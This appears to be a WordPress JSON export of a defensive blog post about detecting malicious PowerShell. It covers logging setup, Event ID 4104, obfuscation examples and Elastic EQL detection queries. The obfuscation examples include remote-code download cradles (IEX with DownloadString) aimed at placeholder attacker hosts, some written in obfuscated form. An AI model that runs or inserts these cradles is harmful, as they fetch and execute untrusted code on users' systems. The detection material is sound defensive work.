{"id":192,"date":"2023-08-10T09:00:00","date_gmt":"2023-08-10T09:00:00","guid":{"rendered":"http:\/\/justruss.tech\/index.php\/2023\/08\/10\/malicious-powershell-what-to-look-for-and-where-to-find-it\/"},"modified":"2026-05-13T12:59:35","modified_gmt":"2026-05-13T12:59:35","slug":"malicious-powershell-what-to-look-for-and-where-to-find-it","status":"publish","type":"post","link":"https:\/\/justruss.tech\/index.php\/2023\/08\/10\/malicious-powershell-what-to-look-for-and-where-to-find-it\/","title":{"rendered":"Malicious PowerShell: What to Look For and Where to Find It"},"content":{"rendered":"<p>PowerShell is involved in a majority of modern Windows intrusions. Its value to attackers comes from four properties: it is present on every Windows system, it can execute code entirely from memory, it can access the full .NET framework and<br \/>\nWindows APIs, and disabling it breaks legitimate administration workflows. The defensive answer is not blocking \u2014 it is logging, baselining, and detection.<\/p>\n<h3>Logging configuration \u2014 all three types<\/h3>\n<p><strong>Module logging<\/strong> records the names of all modules, cmdlets, functions, and scripts that execute. Enable via GPO:<\/p>\n<pre>Computer Configuration &gt; Administrative Templates &gt; Windows Components &gt;\nWindows PowerShell &gt; Turn on Module Logging\nModule Names: * (wildcard captures all modules)<\/pre>\n<p>Produces Event ID 4103 in Microsoft-Windows-PowerShell\/Operational.<\/p>\n<p><strong>Script block logging<\/strong> captures the actual script content as executed, after deobfuscation. This is the most important one:<\/p>\n<pre>Computer Configuration &gt; Administrative Templates &gt; Windows Components &gt;\nWindows PowerShell &gt; Turn on PowerShell Script Block Logging\nEnable: Yes\nLog script block invocation start\/stop events: Yes (optional, high volume)<\/pre>\n<p>Produces Event ID 4104. For obfuscated payloads, the log will contain both the obfuscated original and the decoded execution-ready version.<\/p>\n<p><strong>Transcription<\/strong> writes a full session transcript to a file. Useful for post-incident review but not real-time detection:<\/p>\n<pre>Computer Configuration &gt; Administrative Templates &gt; Windows Components &gt;\nWindows PowerShell &gt; Turn on PowerShell Transcription\nTranscript output directory: \\fileserver\\ps_transcripts$\\\nInclude invocation headers: Yes<\/pre>\n<h3>What Event ID 4104 looks like for a download cradle<\/h3>\n<pre>Log Name: Microsoft-Windows-PowerShell\/Operational\nEvent ID: 4104\nLevel:    Warning\n\nScriptBlockText:\n  IEX (New-Object System.Net.WebClient).DownloadString(\n    \"https:\/\/raw.githubusercontent.com\/attacker\/tools\/main\/payload.ps1\"\n  )\n\nPath:\nScriptBlockId: {3a4b5c6d-...}\nMessageNumber: 1\nMessageTotal:  1<\/pre>\n<p>Note the Warning level \u2014 PowerShell automatically flags script blocks containing known suspicious patterns (IEX, DownloadString, Add-Type, etc.) at Warning level. This makes SIEM alerting straightforward: any 4104 event at Warning or above<br \/>\nwarrants investigation.<\/p>\n<h3>Common obfuscation techniques and how 4104 exposes them<\/h3>\n<p>String concatenation:<\/p>\n<pre># Obfuscated - bypasses string-matching on \"DownloadString\":\n$cmd = \"Down\"+\"load\"+\"String\"\n(New-Object Net.WebClient).$cmd(\"https:\/\/evil.example\/p.ps1\")\n\n# 4104 logs the resolved execution:\n# ScriptBlockText: (New-Object Net.WebClient).DownloadString(\"https:\/\/evil.example\/p.ps1\")<\/pre>\n<p>Character code substitution:<\/p>\n<pre># Obfuscated:\n[char]73+[char]69+[char]88  # = \"IEX\"\n[System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String(\"SQBFAFAA...\"))\n\n# 4104 logs what actually ran after evaluation<\/pre>\n<p>Backtick escaping:<\/p>\n<pre># Obfuscated - backticks ignored by parser:\ni`ex (ne`w-ob`ject ne`t.web`client).do`wnloadstring(\"https:\/\/evil.example\/p.ps1\")\n\n# 4104 logs: IEX (New-Object Net.WebClient).DownloadString(\"...\")<\/pre>\n<h3>Detection queries \u2014 Elastic EQL<\/h3>\n<p>Download cradles:<\/p>\n<pre>sequence by host.name with maxspan=30s\n  [process where event.type == \"start\" and process.name == \"powershell.exe\"]\n  [process where event.action == \"Script Block Logging\"\n   and (\n     winlog.event_data.ScriptBlockText : \"*DownloadString*\" or\n     winlog.event_data.ScriptBlockText : \"*WebClient*\" or\n     winlog.event_data.ScriptBlockText : \"*Invoke-WebRequest*\" or\n     winlog.event_data.ScriptBlockText : \"*Start-BitsTransfer*\"\n   )\n  ]<\/pre>\n<p>Reflective loading (.NET assembly loaded from memory):<\/p>\n<pre>any where event.provider == \"Microsoft-Windows-PowerShell\" and\n  event.code == \"4104\" and (\n    winlog.event_data.ScriptBlockText : \"*[Reflection.Assembly]::Load*\" or\n    winlog.event_data.ScriptBlockText : \"*[Reflection.Assembly]::LoadWithPartialName*\" or\n    winlog.event_data.ScriptBlockText : \"*Add-Type*-TypeDefinition*\"\n  )<\/pre>\n<h3>AMSI \u2014 the additional logging layer<\/h3>\n<p>Windows Antimalware Scan Interface (AMSI) passes PowerShell content to registered AV\/EDR engines before execution. Even without script block logging, AMSI events appear in the Microsoft-Antimalware-Scan-Interface event log (Event ID 1101). AMSI<br \/>\ncannot be bypassed by obfuscation at the script block level \u2014 it sees decoded content. Common AMSI bypass techniques target the AMSI provider DLL in memory rather than the script content itself, which is why Sysmon process tampering detection<br \/>\n(Event ID 25) is a useful complementary data source.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>PowerShell is used in almost every modern intrusion<br \/>\nat some point. Covering the logging setup you need and how to cut through the noise.<\/p>\n","protected":false},"author":0,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[13],"tags":[],"class_list":["post-192","post","type-post","status-publish","format-standard","hentry","category-threat-hunting"],"_links":{"self":[{"href":"https:\/\/justruss.tech\/index.php\/wp-json\/wp\/v2\/posts\/192","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/justruss.tech\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/justruss.tech\/index.php\/wp-json\/wp\/v2\/types\/post"}],"replies":[{"embeddable":true,"href":"https:\/\/justruss.tech\/index.php\/wp-json\/wp\/v2\/comments?post=192"}],"version-history":[{"count":2,"href":"https:\/\/justruss.tech\/index.php\/wp-json\/wp\/v2\/posts\/192\/revisions"}],"predecessor-version":[{"id":234,"href":"https:\/\/justruss.tech\/index.php\/wp-json\/wp\/v2\/posts\/192\/revisions\/234"}],"wp:attachment":[{"href":"https:\/\/justruss.tech\/index.php\/wp-json\/wp\/v2\/media?parent=192"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/justruss.tech\/index.php\/wp-json\/wp\/v2\/categories?post=192"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/justruss.tech\/index.php\/wp-json\/wp\/v2\/tags?post=192"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}